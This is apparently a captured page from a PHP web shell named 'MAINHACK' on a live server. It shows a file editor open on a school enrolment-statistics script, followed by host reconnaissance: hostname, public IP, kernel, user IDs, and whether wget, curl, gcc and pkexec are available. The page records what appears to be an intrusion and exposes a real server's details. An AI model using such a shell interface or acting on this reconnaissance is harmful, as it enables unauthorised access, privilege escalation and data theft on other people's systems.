[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: get_yet_to_apply_stats.php
<?php include("functions.php"); header('Content-Type: application/json'); // One query with conditional sums $query = " SELECT COUNT(enrol_generic.aid) AS total, SUM(LOWER(enrol_generic.gender)='male') AS male, SUM(LOWER(enrol_generic.gender)='female') AS female, SUM(UPPER(enrol_generic.status)='BOARDING') AS boarding, SUM(UPPER(enrol_generic.status)='DAY') AS day FROM enrol_generic LEFT JOIN enrol_details ON enrol_generic.indexNo = enrol_details.index_no WHERE enrol_details.index_no IS NULL "; $result = mysqli_query($new, $query); if (!$result) { echo json_encode(['success' => false, 'error' => mysqli_error($new)]); exit; } $data = mysqli_fetch_assoc($result); echo json_encode([ 'success' => true, 'total' => (int)$data['total'], 'male' => (int)$data['male'], 'female' => (int)$data['female'], 'boarding' => (int)$data['boarding'], 'day' => (int)$data['day'] ]);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002